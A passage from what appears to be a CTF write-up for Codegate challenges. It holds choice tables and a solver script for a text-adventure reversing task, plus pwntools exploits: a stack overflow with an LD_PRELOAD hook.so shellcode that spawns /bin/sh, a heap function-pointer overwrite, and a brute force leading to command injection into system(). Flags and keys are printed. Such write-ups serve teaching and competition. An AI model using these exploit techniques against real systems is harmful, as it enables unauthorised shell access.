<span class="hljs-number">1</span>> Execute <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> Imprisonment <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> No I'm not. SAME
<span class="hljs-number">2</span>> Go to persuade the brother.
<span class="hljs-number">1</span>> I understand you mind, but this is a rebellion against father. Surrender and apologize to father. <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span>
<span class="hljs-number">2</span>> I understand you mind, but now you have to accept the result. Even if you are not a king, there are many things you can do for other kingdom. I will find a way with you.
<span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span>
<span class="hljs-number">0x40226d</span> test <span class="hljs-number">3</span>
<span class="hljs-number">0x4020e2</span> test <span class="hljs-number">3</span> entry
<span class="hljs-number">1</span>> He caused the revolt, so execute him without mercy. <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> Although he caused the revolt but he had a lot of accomplish, so send him to the other country as a diplomat. <span class="hljs-number">0</span> <span class="hljs-number">-1</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> , <span class="hljs-number">0</span> <span class="hljs-number">-1</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span>
<span class="hljs-number">3</span>> He caused the revolt. Deprive his royal status and send him into exile. <span class="hljs-number">0</span> <span class="hljs-number">-1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
break <span class="hljs-number">3</span>
<span class="hljs-number">1</span>> Yes I think.
<span class="hljs-number">1</span>> Kill secretly. LOSE
<span class="hljs-number">2</span>> Give <span class="hljs-section">money</span> and send to other country. <span class="hljs-number">1</span> <span class="hljs-number">-1</span> <span class="hljs-number">-1</span> <span class="hljs-number">2</span> <span class="hljs-number">2</span>
<span class="hljs-number">2</span>> Nope!
<span class="hljs-number">1</span>> I will not eat it. <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> I will eat it alone. XXXX
<span class="hljs-number">3</span>> I will call <span class="hljs-number">6</span>th prince and make him to eat it first. <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span>
<span class="hljs-number">0x401BFA</span> test <span class="hljs-number">4</span> <span class="hljs-type">key</span>
<span class="hljs-number">0x401B0A</span> test <span class="hljs-number">4</span> entry
<span class="hljs-number">1</span>> Yes I am.
<span class="hljs-number">1</span>> Yes I can.
<span class="hljs-number">2</span>> No I can't XXXX
<span class="hljs-number">2</span>> No I'm not. XXXX
<span class="hljs-number">0x401609</span> break <span class="hljs-number">4</span>
<span class="hljs-number">1</span>> Go for a walk.
<span class="hljs-number">1</span>> Yes I do.
<span class="hljs-number">1</span>> Go to see the king. XXXX
<span class="hljs-number">2</span>> Go to my room and waiting. <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> No I don't <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> Just stay in room <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">0x4011BB</span> test <span class="hljs-number">5</span> entry
<span class="hljs-number">1</span>> I will give up. XXXX
<span class="hljs-number">2</span>> I will find the diplomat.
<span class="hljs-number">1</span>> Go to the bar where he visit often.
<span class="hljs-number">1</span>> Give him to the king and waiting for the result. <span class="hljs-number">-1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span>
<span class="hljs-number">2</span>> Tell the king that you want to investigate him and send him into exile. <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span>
<span class="hljs-number">2</span>> Find the family first. XXXX
<span class="hljs-number">3</span>> I will go to the other country.
<span class="hljs-number">1</span>> We must go. Keep going with <span class="hljs-number">2</span>nd prince. XXXX
<span class="hljs-number">2</span>> You send him home and you keep going. <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">2</span>
<span class="hljs-number">3</span>> Go home together. XXXX
<span class="hljs-number">0x400C8C</span> final
<span class="hljs-number">1</span>> Don't enter the room. XXXX
<span class="hljs-number">2</span>> Enter the room.
<span class="hljs-number">1</span>> Yes I do. flag
<span class="hljs-number">2</span>> No I don't. XXXX
(<span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">2</span>)</code></pre><pre class="hljs"><code>y.sendlineafter( <span class="hljs-string">'Look around'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'test 1'</span> , <span class="hljs-string">'lOv3'</span> )
y.sendlineafter( <span class="hljs-string">'No I\'</span>m <span class="hljs-literal">not</span><span class="hljs-string">' , '</span><span class="hljs-number">1</span><span class="hljs-string">' )
y.sendlineafter( '</span>I will wear the armor <span class="hljs-keyword">for</span> body, arm, leg <span class="hljs-literal">and</span> helmet.<span class="hljs-string">' , '</span><span class="hljs-number">2</span><span class="hljs-string">' )
y.sendlineafter( '</span><span class="hljs-number">3</span>> Just release<span class="hljs-string">' , '</span><span class="hljs-number">2</span><span class="hljs-string">' ) # 2 0 0 1 0
y.sendlineafter( '</span><span class="hljs-number">3</span>> Read a book <span class="hljs-keyword">in</span> the room.<span class="hljs-string">' , '</span><span class="hljs-number">3</span><span class="hljs-string">' ) # 0, 2, 0, 0, 0
# 2 2 0 1 0
y.sendlineafter( '</span>Enter the key <span class="hljs-keyword">for</span> test <span class="hljs-number">2</span><span class="hljs-string">' , '</span>D0l1<span class="hljs-string">' )
y.sendlineafter( '</span>No I\<span class="hljs-string">'m not'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'3> I will go to my brother and discuss about this.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2> No I will not.'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'2> I will sell the apple after I wash this apple really cleary.'</span> , <span class="hljs-string">'2'</span> ) <span class="hljs-meta"># 1 1 0 0 0</span>
<span class="hljs-meta"># 3 3 1 0 0</span>
y.sendlineafter( <span class="hljs-string">'2> Go to persuade the brother.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2> I understand you mind, but now you have to accept the result. Even if you are not a king, there are many things you can do for other kingdom. I will find a way with you.'</span> , <span class="hljs-string">'1'</span> )
<span class="hljs-meta"># 1 1 1 1 2</span>
<span class="hljs-meta"># 4 4 2 1 2</span>
y.sendlineafter( <span class="hljs-string">'Enter the key for test 3'</span> , <span class="hljs-string">'HuNgRYT1m3'</span> )
y.sendlineafter( <span class="hljs-string">'3> He caused the revolt. Deprive his royal status and send him into exile.'</span> , <span class="hljs-string">'2'</span> ) <span class="hljs-meta"># (0, -1, 2, 0, 0) (0, -1, 0, 2, 0)</span>
<span class="hljs-meta"># 4 3 4 1 2</span>
y.sendlineafter( <span class="hljs-string">'2> Nope!'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'3> I will call 6th prince and make him to eat it first.'</span> , <span class="hljs-string">'3'</span> ) <span class="hljs-meta"># (1, 0, 0, 0, 1)</span>
<span class="hljs-meta"># 5 3 3 2 3</span>
y.sendlineafter( <span class="hljs-string">'Enter the key for test 4'</span> , <span class="hljs-string">'F0uRS3aS0n'</span> )
y.sendlineafter( <span class="hljs-string">'2> No I\'</span>m <span class="hljs-literal">not</span>.<span class="hljs-string">' , '</span><span class="hljs-number">1</span><span class="hljs-string">' )
y.sendlineafter( '</span><span class="hljs-number">2</span>> No I can\<span class="hljs-string">'t'</span> , <span class="hljs-string">'1'</span> )
t = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZ'</span>
e = <span class="hljs-string">'ALICEAWTQJMJXTSPPZVCIDGQYRDINMCP'</span>
a = <span class="hljs-string">'ALICE'</span>
p = <span class="hljs-string">''</span>
j = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> e[<span class="hljs-number">5</span>:]:
i = t.index( c ) - ( ord( a[j] ) - <span class="hljs-number">65</span> ) + <span class="hljs-number">65</span>
p += <span class="hljs-built_in">chr</span>(i)
j = (j + <span class="hljs-number">1</span>) % <span class="hljs-number">5</span>
y.sendlineafter( <span class="hljs-string">'King : You have only 1 chance.'</span> , a + p ) <span class="hljs-meta"># 0 1 1 2 0</span>
<span class="hljs-meta"># 5 4 4 4 3</span>
y.sendlineafter( <span class="hljs-string">'2> Just stay in room'</span> , <span class="hljs-string">'2'</span> ) <span class="hljs-meta"># (0, 1, 0, 0, 0)</span>
<span class="hljs-meta"># 5 5 4 4 3</span>
y.sendlineafter( <span class="hljs-string">'Enter the key for test 5'</span> , <span class="hljs-string">'T1kT4kT0Kk'</span> )
y.sendlineafter( <span class="hljs-string">'3> I will go to the other country.'</span> , <span class="hljs-string">'3'</span> )
y.sendlineafter( <span class="hljs-string">'3> Go home together.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2> Enter the room.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2> No I don\'</span>t.<span class="hljs-string">' , '</span><span class="hljs-number">1</span><span class="hljs-string">' )
y.interactive()</span></code></pre><h3 id="cg_casino"><a class="header-link" href="#cg_casino"></a>cg_casino</h3>
<blockquote>
<p>yuawn, Billy, limbo, tens</p>
</blockquote>
<p>Use stack overflow to overwrite the <code>environ</code> on the stack, so that we can use <code>/proc/self/environ</code> to control the content of file.
Upload <code>hook.so</code>.</p>
<ul class="list">
<li>hook.S:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">; nasm -f elf64 hook.S -o hook.o && ld --shared hook.o -o hook.so</span>
<span class="hljs-comment">; ubuntu 16.04 GNU ld (GNU Binutils for Ubuntu) 2.26.1</span>
[<span class="hljs-meta">BITS</span> <span class="hljs-number">64</span>]
<span class="hljs-meta">global</span> getenv:function
<span class="hljs-meta">section</span> .text
<span class="hljs-symbol">getenv:</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rax</span>, <span class="hljs-number">0x68732f6e69622f</span>
<span class="hljs-keyword">push</span> <span class="hljs-built_in">rax</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-built_in">rsp</span>
<span class="hljs-keyword">xor</span> <span class="hljs-built_in">esi</span>, <span class="hljs-built_in">esi</span>
<span class="hljs-keyword">push</span> <span class="hljs-number">0x3b</span>
<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rax</span>
<span class="hljs-keyword">cdq</span>
<span class="hljs-keyword">syscall</span></code></pre><p>Overwrite <code>LD_PRELOAD</code> in <code>environ</code> with <code>./hook.so</code>, trigger <code>system("/usr/bin/clear")</code> in <code>slot_machine</code> function. <code>getenv()</code> will called by <code>/usr/bin/clear</code>, and be hooked on to our shellcode.</p>
<ul class="list">
<li>flag.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment"># CODEGATE{24cb1590e54e43b254c99404e4f86543}</span>
context.arch = <span class="hljs-string">'amd64'</span>
host , port = <span class="hljs-string">'110.10.147.113'</span> , <span class="hljs-number">6677</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">put</span><span class="hljs-params">( voucher )</span>:</span>
y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'input voucher :'</span> , voucher )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mer</span><span class="hljs-params">( fromm )</span>:</span>
y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'input old voucher :'</span> , fromm )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lot</span><span class="hljs-params">( a )</span>:</span>
y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'3'</span> )
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:
y.sendline( i )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">slot</span><span class="hljs-params">()</span>:</span>
y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'5'</span> )
y.sendlineafter( <span class="hljs-string">'press any key'</span> , <span class="hljs-string">''</span> )
<span class="hljs-string">'''
maps
mem
stack
environ
'''</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
y = remote( host , port )
slot()
p = [ <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span> ]
lot( p )
y.recvuntil( <span class="hljs-string">'==================='</span> )
y.recvuntil( <span class="hljs-string">'===================\n'</span> )
stk = int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] )
y.recvline()
stk += int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] ) << <span class="hljs-number">32</span>
success( <span class="hljs-string">'stack -> %s'</span> % hex( stk ) )
env = (( stk + <span class="hljs-number">0x2000</span> ) & <span class="hljs-number">0xfffffffff000</span>) + <span class="hljs-number">0x273</span>
info( <span class="hljs-string">'environ -> %s'</span> % hex( env ) )
p = flat(
<span class="hljs-number">0</span>, stk + <span class="hljs-number">0x110</span>,
<span class="hljs-number">0</span>, <span class="hljs-number">0</span>,
<span class="hljs-number">0</span>, <span class="hljs-number">0</span>,
<span class="hljs-number">1</span>, stk + <span class="hljs-number">0x1169</span>, <span class="hljs-comment"># argv</span>
<span class="hljs-number">0</span>, env , <span class="hljs-comment"># envp</span>
env + <span class="hljs-number">0x42</span>, <span class="hljs-number">0</span>,
).ljust( <span class="hljs-number">0xc0</span> , <span class="hljs-string">'\x00'</span> )
hook = open( <span class="hljs-string">'./hook.so'</span> ).read().replace( <span class="hljs-string">'\n'</span> , <span class="hljs-string">'\x00'</span> )
hook_so = <span class="hljs-string">'ho0o0o0o0o0o0o0o0o0o0o0o0o0o0k'</span>
version = <span class="hljs-string">'.00'</span>
put( hook_so + version )
mer( (<span class="hljs-string">'/proc/self/environ'</span>.rjust( <span class="hljs-number">0x20</span> , <span class="hljs-string">'/'</span> ) + <span class="hljs-string">'\x00'</span> * ( <span class="hljs-number">0xd0</span> - <span class="hljs-number">0x20</span> ) + p).ljust( env - stk - <span class="hljs-number">0x70</span>, <span class="hljs-string">'\x00'</span> ) + hook )
<span class="hljs-keyword">try</span>:
y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'6'</span> )
y.close()
success( <span class="hljs-string">'Upload hook.so succeed!'</span> )
<span class="hljs-keyword">break</span>
<span class="hljs-keyword">except</span>:
y.close()
y = remote( host , port )
slot()
p = [ <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span> ]
lot( p )
y.recvuntil( <span class="hljs-string">'==================='</span> )
y.recvuntil( <span class="hljs-string">'===================\n'</span> )
stk = int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] )
y.recvline()
stk += int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] ) << <span class="hljs-number">32</span>
success( <span class="hljs-string">'stack -> %s'</span> % hex( stk ) )
mer( (<span class="hljs-string">'a'</span> * <span class="hljs-number">0x40</span> + <span class="hljs-string">"LD_PRELOAD=./"</span> + hook_so + version ).ljust( <span class="hljs-number">0x128</span> , <span class="hljs-string">'\x00'</span> ) + p64( stk + <span class="hljs-number">0xb0</span> ) + p64( <span class="hljs-number">0</span> ) )
y.sendlineafter( <span class="hljs-string">'>'</span> , <span class="hljs-string">'5'</span> )
y.sendlineafter( <span class="hljs-string">'press any key'</span> , <span class="hljs-string">'7'</span> ) <span class="hljs-comment"># hooked !</span>
y.sendline( <span class="hljs-string">'cat ../f*'</span> )
y.interactive()</code></pre><h3 id="archiver"><a class="header-link" href="#archiver"></a>archiver</h3>
<blockquote>
<p>yuawn, tens</p>
</blockquote>
<ul class="list">
<li>flag.py</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment"># YouNeedReallyGoodBugToBreakASLR!!</span>
context.arch = <span class="hljs-string">'amd64'</span>
host , port = <span class="hljs-string">'110.10.147.111'</span> , <span class="hljs-number">4141</span>
y = remote( host , port )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_heap</span><span class="hljs-params">( count , data )</span>:</span>
<span class="hljs-keyword">return</span> p8( (<span class="hljs-number">0</span><<<span class="hljs-number">6</span>) + count ) + data
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">store_heap</span><span class="hljs-params">( i )</span>:</span>
<span class="hljs-keyword">return</span> p8( (<span class="hljs-number">3</span><<<span class="hljs-number">6</span>) + i )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load_heap</span><span class="hljs-params">( i , j )</span>:</span>
<span class="hljs-keyword">return</span> p8( (<span class="hljs-number">1</span><<<span class="hljs-number">6</span>) + i ) + p8( j )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">new_heap_loop</span><span class="hljs-params">( count )</span>:</span>
<span class="hljs-keyword">return</span> p8( (<span class="hljs-number">2</span><<<span class="hljs-number">6</span>) + count )
p = <span class="hljs-string">''</span>
p += <span class="hljs-string">"\xc0\xd3\x94#2019"</span>
p += p64( <span class="hljs-number">0x77777770</span> )
p += store_heap( <span class="hljs-number">0x34</span> ) <span class="hljs-comment"># store output_func() to heap</span>
p += load_heap( <span class="hljs-number">0x33</span> , <span class="hljs-number">1</span> ) <span class="hljs-comment"># load it to Compress->size</span>
p += new_heap_loop( <span class="hljs-number">0x1c0</span> / <span class="hljs-number">8</span> ) <span class="hljs-comment"># Compress->size += 0x1c0 -> output_func() + 0x1c0 = cat_falg()</span>
p += store_heap( <span class="hljs-number">0x33</span> ) <span class="hljs-comment"># store cat_flag() to heap </span>
p += load_heap( <span class="hljs-number">0x34</span> , <span class="hljs-number">1</span> ) <span class="hljs-comment"># load cat_flag() to Compress->func_ptr</span>
<span class="hljs-comment"># Trigger Compress->func_ptr, trigger cat_flag()</span>
y.send( p32( len( p ) ) )
y.send( p )
y.interactive()</code></pre><h3 id="20000"><a class="header-link" href="#20000"></a>20000</h3>
<blockquote>
<p>limbo, tens</p>
</blockquote>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
from pwn <span class="hljs-built_in">import</span> *
<span class="hljs-built_in">import</span> sys
<span class="hljs-built_in">import</span> time
<span class="hljs-built_in">import</span> random
<span class="hljs-attr">binary</span> = <span class="hljs-string">"./20000"</span>
context.<span class="hljs-attr">binary</span> = binary
<span class="hljs-attr">elf</span> = ELF(binary)
<span class="hljs-keyword">if</span> <span class="hljs-attr">__name__</span> == '__main__':
<span class="hljs-attr">i=20000</span>
while <span class="hljs-number">1</span>:
print i
<span class="hljs-attr">r</span> = process(<span class="hljs-string">"20000"</span>)
r.recv(<span class="hljs-number">1000</span>)
r.sendline(str(i))
r.recv(<span class="hljs-number">1000</span>)
r.sendline(<span class="hljs-string">"%s"</span>*<span class="hljs-number">0</span>x200)
r.wait()
<span class="hljs-attr">c</span> = r.poll()
<span class="hljs-keyword">if</span> c !=<span class="hljs-number">0</span>:
r.interactive()
r.close()
<span class="hljs-attr">i-=1</span></code></pre><pre class="hljs"><code><span class="hljs-number">17394</span>
[+] Starting <span class="hljs-keyword">local</span> process <span class="hljs-string">'./20000'</span>: pid <span class="hljs-number">118780</span>
[*] Process <span class="hljs-string">'./20000'</span> stopped with <span class="hljs-keyword">exit</span> code -<span class="hljs-number">6</span> (SIGABRT) (pid <span class="hljs-number">118780</span>)
[*] Switching to interactive mode
sh: <span class="hljs-number">1</span>: %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s@: <span class="hljs-keyword">not</span> found
*** stack smashing detected ***: <unknown> terminated</code></pre><p>find 17394</p>
<p>lib_17394.so</p>
<pre class="hljs"><code> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">0</span>x32uLL)<span class="hljs-comment">;</span>
v3(<span class="hljs-name">buf</span>, buf)<span class="hljs-comment">;</span>
v4(<span class="hljs-name">buf</span>)<span class="hljs-comment">;</span>
sprintf(<span class="hljs-name">s</span>, <span class="hljs-string">"%s 2 > /dev/null"</span>, buf)<span class="hljs-comment">;</span>
system(<span class="hljs-name">s</span>)<span class="hljs-comment">;</span></code></pre><p>input "sh" get shell</p>
<p><code>flag{Are_y0u_A_h@cker_in_real-word?}</code></p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
from pwn <span class="hljs-built_in">import</span> *
<span class="hljs-built_in">import</span> sys
<span class="hljs-built_in">import</span> time
<span class="hljs-built_in">import</span> random
<span class="hljs-attr">host</span> = '<span class="hljs-number">110.10</span>.<span class="hljs-number">147.106</span>'
<span class="hljs-attr">port</span> = <span class="hljs-number">15959</span>
<span class="hljs-attr">binary</span> = <span class="hljs-string">"./20000"</span>
context.<span class="hljs-attr">binary</span> = binary
<span class="hljs-attr">elf</span> = ELF(binary)
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
<span class="hljs-attr">r</span> = process([binary, <span class="hljs-string">"0"</span>], <span class="hljs-attr">env={"LD_LIBRARY_PATH":"."})</span>
pass
<span class="hljs-keyword">else</span>:
<span class="hljs-attr">r</span> = remote(host ,port)
<span class="hljs-keyword">if</span> <span class="hljs-attr">__name__</span> == '__main__':
r.recvuntil(<span class="hljs-string">"PUT : "</span>)
r.sendline(<span class="hljs-string">"17394"</span>)
r.recvuntil(<span class="hljs-string">"?\n"</span>)
r.sendline(<span class="hljs-string">"sh"</span>)
r.sendline(<span class="hljs-string">"cat flag"</span>)
r.interactive()</code></pre><h3 id="maris_shop"><a class="header-link" href="#maris_shop"></a>Maris_shop</h3>
<blockquote>
<p>Billy</p>
<ul class="list">
<li>Raise the money by integer overflow</li>
<li>Buy 16 different items and it will free all and leave last item unclear.</li>